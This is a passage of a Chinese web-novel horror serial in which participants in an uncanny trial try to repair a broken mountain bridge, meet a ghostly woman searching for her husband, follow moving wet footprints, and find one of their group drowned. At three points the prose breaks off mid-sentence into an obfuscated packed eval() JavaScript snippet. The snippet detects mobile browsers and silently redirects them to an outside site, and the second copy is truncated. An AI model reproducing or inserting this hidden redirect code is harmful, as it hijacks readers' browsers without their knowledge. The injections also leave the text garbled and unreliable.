除了外面的篝火，这是此地仅有的照明。 苏却又伸手摸了摸自己身上。 匕首在腰间，短笔在袖中暗袋，还有……离开书院前，李长宥最后塞给她的那几张纸。 当时，一切发生得又快又突然，她心神震荡，完全无暇顾及手中的几张纸，所以并未来得及看上面的内容。 此刻，借着微弱的烛光，苏却将其取出，缓缓展开纸张。 第一张，是用简单的墨色线条画出的场景。 一个身影被高高吊在书院门口。此人低垂着头，已经失去了所有力气昏死过去，头发凌乱，衣衫破烂，虽无面容细节，但苏却一眼便认出，那是她被吊在书院门口受惩那时的场景。 第二张，画的是一人立于赌桌之前，手执骰盅，周围的人层层叠叠，气氛热烈又诡异。 正是她当时在赌场的情景。 苏却换到第三张纸。 看到画面的刹那，她的手，颤抖了一下。 与前两张黑白色彩不同，这一张，上了色。 触目所及，是一片灼眼浓烈的红。 红盖头，红嫁衣，红唇……满纸的红色，像泼洒的鲜血，又像焚烧的烈焰，几乎要将注视它的人，连同画中人一起，烧成灰烬。 画上是一个掀起盖头的新娘。 盖头之下露出的那张脸，浓眉杏眼炯炯有神，唇色娇艳欲滴，笑意盈盈，恰到好处，很是标致。 可，这分明是苏却自己的脸。 那是她，却又不是她。 苏却从来没有穿过这件衣服。 如果是对应第一次的事件，末位之祸时，她曾经穿的，是一身新郎服。 自从她在火场死而后生，被母亲收养之后，便再未以女子装束示人，更遑论如此鲜红夺目的嫁衣。 即便上次妓院脱险，所穿衣衫的性别也并非特别明显。 前面这两张画，记录的都是她亲身经历过的，发生在诡闻世界中的画面。 可这张新娘像…… 是原本第一次事件中自己会死去的模样吗？ 苏却到现在还记得，在第一次进入新娘家的时候，她父亲脸上那一抹转瞬即逝的神情变化。 她差点以为自己看错了，因为那个父亲当时，在笑。 如果当时她未能识破表现平平，或是身份暴露被发现女扮男装，那么其他人，是否就会立刻想到，寻找真正的新娘，还有另一条路可走。 比如，将她这个女子顶替上去。 那现在，这几张画纸交给苏却的意义是什么？ 是警告？是提示？ 是在告诉她对于诡闻世界的这些活死人来说，是一个没有秘密的人，一举一动都在他们的监视之下，掌控之中吗？ 还是一种玩弄？ 展示他们洞悉一切，操纵命运的能力，看他们这些没有能力的蝼蚁在迷雾重重的困境中挣扎？ 苏却盯着画中那个红衣似火的“自己”，依然想不明白。 明明有那么多参与者，其中不乏叶别风那样身份显赫的世家子弟，背后的势力更是足以遮天。 若诡闻客栈真有什么目的，为何不能直言？ 非要处心积虑，用一个接一个九死一生的事件来考验折磨他们？ 这究竟是为了什么？ 苏却深吸一口气。 现在不是深究的时候。 她迅速将画纸叠好，重新塞回怀中贴身处，然后一个利落的翻身，躺倒在竹板床上，手臂曲起枕在脑后，闭上了眼睛。 这一夜，苏却几乎没怎么合眼。 山野间的夜晚并不宁静。 虫鸣声此起彼伏，夜鸟偶尔掠过，啼鸣凄厉，远处河流水声相伴……这些对苏却来说倒不算什么，她不是没在比这更恶劣的荒郊野外风餐露宿过。 真正扰人清静的，另有其人。 这位官家子弟显然并不适应此等环境。 他所在的棚子距离苏却的不算远，整整一夜，都能听到他怨天尤人的骂骂咧咧。 时而嫌地上潮湿有虫，时而又抱怨棚顶漏风。 不知他何时又到篝火边，拿了根燃烧的木棍胡乱挥舞，驱赶所谓蚊虫蛇鼠，火星四溅，差点引燃旁边的棚布。 他还试图叫醒相邻棚子的江文新和齐广济，叫他们帮忙想想办法。 所以天色将明未明之际，众人就干脆都醒了，陆续从棚子里钻出来，一个个面带倦容，眼底泛青。 正好看见掌柜站在棚外，手上拿着几个布包，里面装的是他们几人的干粮。 他依次将布包递到每人手中。 干粮包不大，捏上去硬邦邦的。 苏却接过时，发现包裹外还系着一条结实的粗布带子，长度恰好可以斜挎在身上。 众人沉默地拆开干粮包。 里面是两块粗面饼子，两个馒头，几块咸萝卜块。 味道寡淡，仅能果腹。 高千凡咬了一口饼，眉头立刻皱紧，但看看其他人都在沉默进食，也只得愤愤地嚼着。 经过昨夜一番折腾，再加上简陋干粮，怨气加上火气，压抑着，谁也没搭理还在四处抱怨昨晚没睡好的高千凡。 他虽不服，但吃了几次白眼后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811996|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，似乎意识到了什么，虽然住了嘴，但眼神依然不满地四处瞟着。 最终，他的目光落在了没明确表态的苏却身上，凑到了她身边。 他清了清嗓子，试图搭话：“这位公子？昨夜可还安歇？这鬼地方真是……唉，想我家中……” 苏却刚咽下最后一口饼。 经过一夜的思虑，她已有了打算，自己本就不会全然听信罗潇苇，听听无妨。 若真有用，自是好事，若无用，多留一份心提防便是。 若她包藏祸心……那便找个机会，让她好好长个教训。 是以，当高千凡凑过来开口时，苏却目光平静地看着他，打断：“对不住，我有话需与罗姑娘商议。高公子请自便。” “……” 他脸上笑容瞬间僵住，错愕地张着嘴，剩下的话全噎在了喉咙里，脸色一阵青一阵白。 “诸位，”掌柜站在略高处，声音平淡道，“距住所不远处便是河川，沿此涧上行，可见断桥。工具已置于桥头，日落前必得返回此处。” 他顿了顿：“还望诸位，早日完工。” 七人收拾停当，将干粮包斜挎好，循着水流声，不情不愿忧心忡忡兴致勃勃地出发了。 离开那几座破棚子没多久，脚下的路便愈发难行。 怪不得昨夜走向篝火的路途如此坎坷，因为根本没有成型的路径，只有几脚踩踏过的痕迹，在乱石和杂草间蜿蜒。 巨大的山石凌乱堆积，棱角分明，表面湿滑，有时甚至需要手脚并用才能攀爬过去。 直到越过这片区域，前方才隐约出现极窄的羊肠小道，紧贴着陡峭的山壁，另一侧便是雾气缭绕深不见底的涧谷，河水在下方轰鸣。 众人走得越发小心，速度也慢了下来。 齐广济主动走在了最前面。 杜以柔和汪乐安跟在后面，两人年纪相仿，倒能说上几句。 江文新低着头，紧跟着他们，生怕落单。 高千凡黑着脸跟上。 苏却和罗潇苇自然而然地落在了最后。 山间的晨雾尚未完全散去，丝丝缕缕缠绕在林木岩壁之间，视线受阻，更添几分险峻。 罗潇苇微微侧头低声道：“怎么样，苏公子，一夜过去，可是想通了，愿意与我结伴而行了？” 苏却声音平稳：“你想从我这里得到什么？” 罗潇苇似乎早料到有此一问，轻笑出声，目光在苏却脸上打量了一圈：“我要你……” “……” 苏却脚步微顿，眼神清冷。 “哈哈哈哈……”罗潇苇笑道，“你这人，真经不起逗。” 她声音压得更低：“我要的，是你对这里所有谜题的推断与答案。作为交换，我在此地所知的一切线索，只要与你我生死无直接冲突，皆可与你分享。除非……” 苏却问：“除非什么？” “除非我们两人之间，最终走到了你死我活的境地。我想活着，你也想。那时，便只能各凭本事，谁也怨不得谁。”她说得十分坦然。 苏却几乎没有犹豫：“成交。” 话音刚落，前方队伍忽然停了下来。 苏却和罗潇苇对视一眼，加快脚步，从狭窄的小道挤了过去。 眼前地势稍阔，小道在此拐了个弯，连接上一段相对平坦的地方。 湍急的河水在几步之外奔腾而过，水声震耳。 齐广济正站在最前面。 而他的面前，还站着一个人。 那是个年轻的姑娘，约莫十八/九岁的年纪，穿着素净，面容端正清秀，只是眉宇间笼罩着忧虑与焦急。 “你们……你们都是前去修桥的劳工吧？求求你们，帮帮我，我在找人，找我的夫君……他和你们一样，也是去修桥的，可是……可是他一直没回来……你们能帮我找找看吗？若是找到了，给我带个信儿就好，我……我傍晚还在这里等” 齐广济皱着眉头，打量了她一番：“可以，你说说夫君叫什么名字？长什么模样？” 可这个姑娘似乎并没有听到齐广济与她说的话，自顾自地重复道：“你们都是前去修桥的劳工吧？求求你们，帮帮我，我在找人，找我的夫君……他和你们一样，也是去修桥的，可是他一直没回来……” 69. 过桥（三） 过桥（三） 罗潇苇上前一步，悄悄地拉了拉齐广济的袖子，压着声音问道：“你难道，一点都不觉得奇怪吗？” 她从齐广济的身侧探出目光，瞥了眼那满脸焦急的姑娘，又看回齐广济，十分严肃道：“掌柜昨日看着我们七个人，分明清清楚楚地说了人齐了。你看看我们七个，一个没少。那她口中的夫君，又是从哪里冒出来的？……是凭空多出来的第八人？你觉得掌柜说错了？” “……” 她这话，让在场所有人心中一紧，浑身一僵。 先前因那姑娘担忧的神情而产生的触动，瞬间被一股寒意取代。 众人几乎是本能地后退了几步，与那姑娘拉开了更远的距离，仿佛她周身萦绕不祥，唯恐沾染半分，招来横祸。 齐广济额上渗出冷汗，仍犹疑着猜测道：“那……说不定是……是前一批来修桥的人？” “前一批？”罗潇苇打断他，冷笑一声，道，“若前一批人尚在，今在何处？宿于何地？食从何来？何人管辖？是修完桥走了，还是……永远留在了这里？” 她停顿，展眼看了看周围雾气弥漫的山林和路边奔流的河水，继续发问：“她既然有脚，为何不自己去寻？若她夫君还活着，为何多日不归？她一个弱女子，又是为何孤身在此等候？” 罗潇苇直起身，像是在告诫齐广济，又像是再说给每一个人听：“在这个鬼地方，万事都需多留个心眼。掌柜的话，出现的每一个人，每一件事，都可能藏着要命的东西。说话做事前，麻烦动动脑子。谨言慎行，或许不能保你安然无恙，但至少……能让你死得明白些。” 一番话问下来，齐广济已是冷汗涔涔。 他并非愚钝，只是方才被那姑娘哀求得乱了方寸，此刻经罗潇苇点醒，顿时后怕不已。 他连忙朝罗潇苇深揖几礼：“多谢罗姑娘提醒，多谢罗姑娘救命。” 语罢，他再不敢看那姑娘一眼，小跑回道上，远远避开。 余人亦纷纷跟上，个个面色凝重，目不斜视。行经时，皆将目光刻意避向别处。 那姑娘的呜咽声和重复的恳求声一直从身后传来，在哗哗的水声中显得格外凄凉，却再无人回头。 唯苏却驻足未动。 她微微眯眼，端详着那自称寻夫的女子。 女子身形单薄，衣衫朴素，面容憔悴，眼中的焦急与绝望不似作伪。 但罗潇苇的分析并没有错。 此女出现之时地，其言辞行止，皆透着一股说不出的怪异。 这个夫君，是引诱他们进入危险的陷阱吗？ 还是需要他们深入调查，对修桥一事有所帮助的线索？ 苏却暂时无法判断。 直到前面走出不远罗潇苇回过头，朝她招了招手，示意她跟上，苏却才收回目光，迈步跟上了队伍。 汪乐安不知何时放缓了步子，自队前渐渐落到最后，与苏却并行。 他脸上挂起有些顽劣的笑容，凑近苏却，神神秘秘地问道：“捕头哥哥，你说……她那夫君，会不会已经变成那种东西了？” 他对苏却挤眉弄眼：“就是话本子里常写的，那种被黑心工头害死的苦命劳工，怨气不散，化成厉鬼，专在这山涧里找替身……说不定啊，一会儿就要把我们之中的谁，悄悄给拖到水里去，或者拉进那黑黢黢的山洞里……嘿嘿嘿嘿……” 他说着，自己先忍不住，发出了一阵低笑，肩膀耸动着，似乎觉得自己说的话十分有趣。 笑了几声，他发现苏却脸上的表情没有任何变化，反倒是走在前面的杜以柔听到了他的怪笑，回头狠狠瞪了他一眼。 汪乐安讨了个没趣，嘟嘟囔囔道：“真没劲儿……开个玩笑罢了。” 众人遂不再多言，埋头赶路。 沿河岸上行约莫一刻钟，转过一方巨岩遮挡的河湾，眼前景象豁然开朗，亦令他们彻底明了此番任务之艰。 一座石桥，横跨在约莫五六丈宽的河道之上。 而如今，这座桥从中部拦腰断裂。 靠近此岸的桥体尚算完好，对岸一侧却已完全崩塌，乱石散布，有的斜插于湍流之中，唯余几座桥墩孤立于水中，任白浪激烈拍打。 苏却沿着河岸边的缓坡爬上了河堤，立于桥头，以便看清周围。 此桥横跨山涧，水急浪高，落差亦大。 岸边之路尚且如此难行，河中暗礁乱石之险，可想而知。 行船之念，根本不必有。 但若每每往来次次涉水，不仅不便，老幼恐有被冲走之虞，冬日滴水成冰，更是寸步难行。 此处确实是两岸距离最近，河道相对较窄的地方，是修建桥梁的理想位置。 石桥虽然用料粗糙，但垒砌得颇为扎实，石条之间的缝隙都用了填充的砂浆石水。做工如此细致，理应很牢固，很难想象它会损坏成如今这般光景。 故而那场持久的暴雨和随之而来的山洪，威力是何等恐怖。 只是不知，他们所在的此岸，究竟是被阻于外，还是困于内？ 下方河滩上，已经传来高千凡崩溃般的哀嚎：“怎会如此？难不成真要我们下到这河水里去？这水这么急，看着就腿软，万一滑倒被冲走，那可是要出人命的！” 他站在水边，望着翻滚的河水，脸色发白，连连后退。 齐广济已经脱了草鞋，将裤腿高高挽起，露出结实的小腿。 他眉头紧皱，先试了试水的深浅。闻言，他看着高千凡，指着河对岸和水中散落的巨石，道：“高公子，你看看，能用得上的大石头，要么掉在河里，要么在对岸那边。不从水里过去搬，难道让你重新进山，一锤一凿地去开新石头？你愿意去吗？那可比下水费时费力多了，七天，来得及吗？” 高千凡张了张嘴，看着远处云雾缭绕的大山，又看看眼前湍急的河水，终究是没敢再嚷嚷，只是脸色更加难看，自顾自地不知又在嘀咕什么。 齐广济不再理他，仰头冲着站在桥头的苏却喊道：“苏公子，你看得差不多了就下来吧，我们得赶紧商量一下怎么分工，时间不等人。” 苏却应了一声，正准备转身下去，目光无意间掠过脚下桥头的石板。 她的动作顿住了。 桥面靠近边缘的石板上，隐约浮现出两个暗沉的痕迹，一左一右，脚掌和后跟的轮廓清晰可辨，像是不久前有人赤足走过留下的湿脚印。 这荒郊野岭，断桥残址，除了他们七个刚到的，哪里来的其他人？ 而且看这脚印的湿痕新鲜程度…… 苏却鬼使神差地伸了一只脚，踩在旁边对比了一下。 这痕迹所属的脚很大，比苏却的脚明显长出一截，也宽厚许多，极大可能是一名男子的脚印。 可就在她的脚落下的瞬间，更诡异的事情发生了。 那原本静静印在石板上的水渍脚印，竟然……向前动了！ 在前方一步之遥，赫然又出现出一个完整的湿脚印。 苏却的心头巨震，但她没有后退，盯着那新出现的脚印，犹豫了一瞬，再次抬脚，小心翼翼地踩在了那个新脚印旁边的位置。 仿佛感应到她的跟随，水脚印再次前行。 一步，又一步。 苏却被脚印牵引，跟着一起迈步。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834138|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她走得很慢，全神贯注，眼睛紧紧盯着桥面上不断凭空出现的湿脚印。 那脚印的轨迹并非笔直，时而偏向桥面左侧，时而又偏向右侧。 她就这样，一步一步，跟随着无形的指引，走向断桥的深处…… “天啊！他在干什么？” “啊！苏公子，你小心！” 下方的惊呼声，将苏却从迷离中惊醒。 惊呼的人是齐广济和江文新。 江文新已经在齐广济的帮助下将裤腿挽到了大腿根，龇着牙咧着嘴，哆哆嗦嗦地试探着一步步往河中央趟去，河水已没到他的腰间。 他恰好抬头，看到了站在断桥边缘，仿佛下一刻就要失足坠落的苏却，吓得魂飞魄散，失声叫了出来。 苏却止步定睛一看，深吸了一口气，立刻后退半步。 自己不知不觉间，竟然已经走到了桥面的最边缘。 再往前半步，下方便是翻滚的河水。 桥虽不高，却远比河滩涉水危险。何况水流湍急，乱石密布，一旦落水，极难站稳，稍有磕碰，非死即伤。 前路已断，脚印亦止。 苏却正欲往回走。 可引着她一路走来的水渍脚印并没有消失，而是…… 调转了方向。 脚印竟然朝着来时的路，一步，一步，又走了回去。 苏却再次迈步，跟上了那回返的脚印。 水脚印将她带回了桥头，然后，在她最初发现它们的那块石板附近，消失了踪迹。 再往前，是泥土地面，再也看不到任何湿痕。 苏却站在桥头，看着那块恢复寻常的石板。 刚才的一切，是自己的幻觉吗？ 罗潇苇和杜以柔也从河堤下爬了上来，一脸不解地看着苏却。 杜以柔小小年纪，性子急却急：“苏却，你在干什么？齐大哥在下面喊你商量分工，喊了好几声都不下来。你倒好，一个人跑到这断桥上来躲懒？这桥本来只断了大半，你再这么走来走去，万一让它断得更多怎么办？到时候我们拿什么修？七天时间本来就不够，还说自己是个捕头呢，做事怎么这么不靠谱？” 苏却平静道：“不好意思，方才四处察看了一番。” “查看？”罗潇苇走上前来，“那……可有什么特别的发现吗？” 苏却摇头，语气如常：“暂时没有。只是看了看石桥损坏的情况。” 罗潇苇疑惑道：“是吗……” 她向前走了几步，低头看了看桥面。 石板粗糙，坑坑洼洼的，沾着些许青苔，很寻常的石桥桥面，并无任何异常。 罗潇苇转身继续道：“既然无事，那就快下去吧。刚刚齐大哥叫你了，是你自己没及时下来，耽搁了大家商议。待会儿分工若有什么不如意的地方，你可别怪我们事先没叫你。” 苏却挑眉：“为何要怪？” 罗潇苇和杜以柔对视一眼。 罗潇苇弯了嘴角，幸灾乐祸地笑道：因为啊，你的任务是，跟高千凡一起去河对面搬石头。” 杜以柔更是很不屑地看了苏却一眼，嘲讽道：“能者多劳，有那么好的身手，不干点体力活怎么行，捕头哥哥一定不会抱怨的对吧。” 罗潇苇拍了拍苏却的肩，指了指河对岸几块散落巨石，笑道：“这差事，可不轻松哦。” …… 和她们一起转身往河堤下走之前，苏却的目光，又一次扫过桥头那块石板。 在那里，与方才她最初发现时一模一样的位置。 一左一右，两个湿漉漉的脚印轮廓，静静地印在那里，仿佛从未消失过。 70. 过桥（四） 过桥（四） 苏却心中一阵不安。 方才自己之举，似有些轻率了。 那双脚印轮廓似乎又浮现于自己眼前。 如何显现，如何引她向前，如何在断桥边缘折返，如何消失又复归原位…… 这双脚印，实在是奇怪。 桥下的人看得心惊肉跳，以为她濒临坠落。 但苏却自己很清楚，因为紧跟着脚印的轨迹，她一直看着桥面，每一步都走得非常谨慎，从未有半分松懈。 坠桥的风险，于她而言几近于无。 只是过于全神贯注，不知不觉间，便从桥头走到了桥身断裂处。 脚印消失的刹那，自己便更是警觉。 她甚至想过，如果此时整座桥都塌了，她该如何逃出险境。 但这双脚印，似乎是因为桥断了，所以开始自己往回走。 就好像…… 它只是在带路。 只是带着苏却到断桥上转了一圈。 那它回头，是因为桥断了过不去？ 还是，它本来就要在此处回头？ 更让她在意的是，回到桥头后，它明明消失了，为何又会重新出现？ 难道是，有人靠近桥面，就会出现脚印？ 苏却抬眼，看向走在前面的罗潇苇和杜以柔。 两人正沿着河堤的缓坡往下走，罗潇苇侧着头，似乎在说什么，杜以柔则梗着脖子，偶尔回一两句。 从罗潇苇那微微下撇的嘴角来看，这场交谈并不是很愉快。 苏却转目看向更远处。 下方河滩上，其余人已经各自忙开。 毕竟桥身剩余部分是否坚固谁也不知道。 当时，齐广济提出从桥墩入手。 就是先从水里搭个台子，将高高低低的桥墩修整一番。 期间，其他人可以找一些或者做一些可支撑的桥面，用石块泥浆固定。 “七天时间，说短不短，说长也绝不够。咱们一没石灰二没好砖，只能就地取材，用黏土混合河沙、碎石，勉强当泥浆用。反正……”他顿了顿，“掌柜只说要修桥，没说要修得多牢靠、用多久。咱们的目标，是在期限内，弄出一条能让人走过去的道儿。甭管它是不是一场雨就又垮了，那不是咱们该操心的。能在限期之内完成，就很不错了。” 所以，没等到苏却和高千凡开工，齐广济和江文新早已下了水。 他们正站在较浅的地方，半弯着腰，双臂没入水下，用力搬一块扁石。 江文新脸色发白，嘴唇紧抿，搬着石头往桥墩过去的时候，河水没过他的腰际，他每走一步都摇晃得厉害，看起来吃力万分。 而靠着桥墩，已经有几块大小不一的石头叠放着，垒起了一个台子，高出水面约莫丈余，能站脚、能攀爬。 汪乐安则在稍远的河滩空地上，手脚并用地拔着半人高的杂草，要清理出一块空地，用于待会儿搅拌泥石土浆，还要挖泥土，捡碎石子儿…… 也并不轻松。 唯有高千凡，还干干爽爽地站在岸上，背着手，沿着水边来回踱步。 齐广济搭好石块，直起身，喘了口粗气，朝岸上喊：“高公子，别光看着了，要想早点离开这里，就赶紧下来搭把手，时间不等人。” 高千凡脚步一顿，扭头看了齐广济一眼，装作没听见。 齐广济摇了摇头，实在无奈便不再理会，只能对正在清理空地的汪乐安喊道：“乐安兄弟，空地差不多就可以了，你也过来帮忙搬几块小的吧。” “好嘞。”汪乐安应得爽快。 他正好觉得有些无趣，便立刻丢下手里的杂草，小跑到水边，麻利地脱了草鞋，卷起裤腿就下了水。 苏却之前站在桥上时，看到过对岸有一小片竹林。 无论是做桥面支撑，还是水中运输，能做几块竹排肯定能派上用场。 她走到堆放工具的地方，拣起一把柴刀，掂了掂分量，刀身厚重，刃口虽不算锋利，但砍伐普通竹木应当足够。 脚上的草鞋鞋底已被碎石磨得有些毛糙，她脱下收起，赤脚踩入河水中。 天虽然不冷，但山涧的水，到底带着几分凉意。 水底的情况比她想象之中更为复杂。 一开始并不算深，只到脚踝，往前几步后，便迅速没过了小腿肚。 水流的速度比在岸上看着更为湍急，暗流不断，时而踩到硬石，时而陷进松软的泥沙，必须步步留神。 甚至河道中央有几处较深的地方，还需要游过去。 抵达对岸，她上岸拧了拧衣服上淋漓的水。 山风一吹，湿衣贴体，寒意更添几分。 她提着柴刀，朝那片竹林走去，正好活动活动身体。 靠近了看，才发现这片竹林并不大，靠近河岸外侧的竹子大多已被砍伐，只留下高低不齐的灰白竹桩。 砍伐的痕迹看上去有些年头了，有些竹桩旁，已冒出一丛丛青嫩的新竹，细瘦伶仃。 而最外侧有一根竹子，比里面的那些都要粗壮一些，竹身青翠，竹节分明。 平视细看，竹节上清晰地刻着一道道划痕。 划痕长短深浅不一，横七竖八，粗略数去，竟有二三十道之多。 这是计数？ 还是某种标记？ 苏却并没有砍这棵刻满痕迹的竹子。 柴刀挥起，落下。 不多时，她便砍倒了数根长短粗细相仿的竹子。 正用柴刀削去枝丫时，对岸传来齐广济的喊声，隔着水声有些模糊：“苏公子，竹子多砍些，搭架子用得着。” 苏却原本也打算多备一些。 正忙碌间，身后传来人来的声音。 苏却回头，见是江文新。 他浑身湿透，头发紧贴在额前脸上，上岸时脚下打滑，险些摔倒。 “苏……苏公子，”江文新喘着气，抹了把脸上的水，“齐大哥那边暂时……暂时用不上我。我……我来帮你。” 苏却点点头，道：“好。把这些砍好的竹子拖到那边空地去。” “哎，好。”江文新应着，弯腰去拖竹子。 两人合力，将砍好的竹子拖到空地。 苏却返回竹林，继续砍伐。 江文新则学着苏却刚刚教他的样子，用石块砸开硬茎草，小心地捻出里面的纤维，准备用作捆绑竹筏的材料。 对岸，高千凡的叫喊声断断续续飘过来，似乎是在抱怨什么，音调拔得老高，听得人心烦意乱。 “苏公子，”江文新一边捻着草纤维，一边忍不住开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867351|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口问，“你……你说，这次咱们能成吗？这桥……看着就难修。” 苏却正将一根削净的竹子放平，闻言手上动作未停，只淡淡道：“尽力而为。” 江文新叹了口气，沉默了一会儿，又低声道：“不瞒你说，苏公子，我……我这不是头一遭来这种地方了。” 苏却抬眸看了他一眼。 江文新像是终于找到了一个可以倾诉伙伴，有些颤抖道：“上一回也是这般，好好的，睡着睡着，就……就进了个完全陌生的地界。那次人少，连我在内，统共就五个。大家也都是懵的……幸好，幸好其中有位能人，脑子特别灵光，最后关头，硬是把那地方的谜题给解开了，我这才……这才侥幸地出去了。” 他咽了一口唾沫，脸上苦色更浓：“可那等死里逃生的好运，岂是次次都能撞上的？这回……这回我看着就觉着不一样。人多了好几个，心思也杂，这桥又烂成这般光景，还有早上那……那怪模怪样拦路寻夫的女子……我这心里头，实在慌得厉害，没个着落。” 他攥紧了手中的草茎，喃喃自语道：“我家……家里头，就剩个老娘了，年纪大了，一身都是病痛，眼睛也不大好了。我上头原本有两个兄长，命不好，前些年走的走，没的没……我要是也……也折在这里头，她可怎么办？往后谁给她抓药，谁给她送终？怕是死了都没人知晓，烂在屋里头……” 他说着，眼眶一红，连忙低下头，借由砸草茎的大动作，抹掉了脸上的眼泪。 苏却听着，并没接话。 江文新说的这些，或许是真心倾诉，但也有可能是博取同情。 苏却只问：“上次是什么任务？” 江文新愣了一下，回忆道：“是……是一处荒宅，说要找什么失踪的账本。宅子很大，空荡荡的……” 他打了个寒战，不愿再说下去。 苏却亦不再追问。 她将砍伐好的竹子按长短粗细分类，开始制作竹排，又用捻好的草纤维缠绕，打结，勒紧。 江文新看着逐渐成型的竹排，紧绷的脸上放松了一些：“苏公子，你懂得真多。不像我，别的什么也不会……哦，我上次出去后，还特意去庙里求了平安符，一直贴身戴着，谁曾想平安符跟不进来，唉……” 他下意识摸了摸胸口位置，那里什么都没有。 苏却绑好最后一个节点，用力拉了拉，确认牢固。 “光靠菩萨，不如靠自己。”她头也没抬，拖过竹子继续制作。 “那我去问问齐大哥，”江文新主动道，“看看他是不是有空，若是暂时不忙也叫他过来，多个人手快些。” 苏却点头：“也好。” 江文新便转身离开。 山风穿过竹林，带来了叶片的声响与远处隐约的鸟鸣。 河流的水声，让高千凡的抱怨变得模糊不清。 苏却心想，这人挺能喊的，想必力气也还行，干站着不干活，也是可惜。 可没一会儿，只听得一阵稀里哗啦的趟水声由远及近。 苏却抬头。 只见江文新连滚带爬地冲过来，草鞋丢了一只也浑然不顾，踉跄着扑到苏却跟前，手指着断桥方向，嘴唇哆嗦了半天，才挤出一句话： “不……不见了！齐大哥……齐大哥他不见了！” 71. 过桥（五） 过桥（五） 苏却闻言，搁下手中柴刀，即刻起身向河边走去。 此刻，那石台上空无一人，方才还挥臂示意她多砍些竹子的齐广济，确实已经不见踪影。 只剩几块光秃秃的石头，浪花冲刷着，溅起白色水沫。 苏却转向身旁惊魂未定的江文新。 他面无人色，浑身止不住地战栗。 “你仔细找了吗？”苏却边走边冷静地问道，“他会不会在水下？或者去对岸帮忙？” “这……”江文新被问得一噎，“我，我当时太害怕了，只……只看到石台上没人，水面上也不见……我就赶紧跑回来了，没顾上细看别处……” 苏却轻叹，未再追问。 眼前河水奔流，桥墩孤立。 视野之内，除了水石就是草树，以及更远处模糊的山林轮廓。 高千凡似乎正朝着这边拼命挥手，口中还在大声呼喊着什么。 但距离远，水声大，传过来的声音支离破碎，根本听不清内容。 江文新也看到了高千凡的举动，他将双手拢在嘴边，朝着对岸喊道：“你说什么？听不清……” 高千凡看到对岸有人，动作更急，隐约有几个声音飘过来：“有……里……你……” 江文新竭力分辨后更是疑惑：“啊？你说什么？什么有？什么里？再大声点！” 他转头，无助地看向苏却。 苏却闭了闭眼。 指望这样隔空喊话弄清状况，纯属浪费时间。 她打算直接涉水返回对岸，面对面问个清楚。 然而，距离渐近，已能勉强看清高千凡开合的口型时，她心头一沉。 高千凡反复喊着的，是：“有人掉进水里了，你们快去救人。” 有人落水。 齐广济的失踪，这是最坏的一个结果。 但为何对岸只剩高千凡一人？ 汪乐安呢？罗潇苇和杜以柔呢？ 总不可能四个人同时失足落水，消失得无影无踪吧？ 她回身跟在她身后有些茫然的江文新交代道：“你过去，面对面问清楚，是谁掉下去了？什么时候的事？从哪个位置掉下去的？问仔细！我先在水下找找看。” 话音刚落，她深吸一口气，一个猛子扎进湍急的河水之中，身影瞬间没入水中。 “苏公子！苏公子！”江文新惊叫出声，眼睁睁看着苏却消失在水面，心一下子提到了嗓子眼。 他看着对岸的高千凡，又看看苏却消失的水面，一咬牙，奋力朝着对岸趟去。 水下是另一个世界。 沉入刹那，耳朵里就灌满了水流的轰响。 水底乱石尖锐，必须万分小心，若真有人落水，很大可能会撞到石块失去意识，而且除非被挂住，否则一定会被冲向下游。 生还的可能性，非常小。 她下游方向摸索了一段，随后上浮换气，在水流稍缓处横向搜寻。 再往下找，就已经没有任何意义了。 搜寻一番，一无所获，苏却只能返回。 就在她准备出水上岸时，余光似乎瞥见桥墩下方的水中的石块底下，有一团轮廓。 苏却心头一紧，立刻调转方向，奋力划水靠近。 那确实是齐广济。 他被一块石块压着，整个人毫无声息，只有衣角和发丝在随着水流的波动而飘荡。 苏却游到他身侧，伸手探向他的脖颈。 已经死了。 尽管心中已有预料，但目前来看此次的任务每少一人，对他们的影响都会很大。 更何况齐广济对修桥一事早已有了安排。 这样一来，无异于打乱了局面，重新开始。 苏却用力掀开压在齐广济身上的石头，随即绕到他身侧，抓住他一条胳膊，另一只手划水，拖拽着躯体，朝着岸边的方向移动。 “苏公子！”早已在对岸与高千凡汇合的江文新见状，连忙冲进浅水，帮着苏却一起将齐广济拖到河滩上。 高千凡也跟了过来，站在几步外，脸色复杂地看着，没上前帮忙。 齐广济双目圆睁，脸上残留着痛苦的表情。 他的后脑处和身上，均有撞击留下的伤痕，即便在水中稀释过，依然还有血液缓缓渗出，更添惨烈。 江文新呆呆地跪坐在旁边，看着齐广济死不瞑目的脸，又看看他后脑那可怖的伤口：“齐……齐大哥……怎么会……明明刚才还好端端的……” 高千凡这时才挪近几步，撇清道：“我……我就看见他抱着石块，从那石台上摔下去，水花溅起老高……然后就没冒头了……我不会水，喊你们又听不见，我，我也没办法啊……” 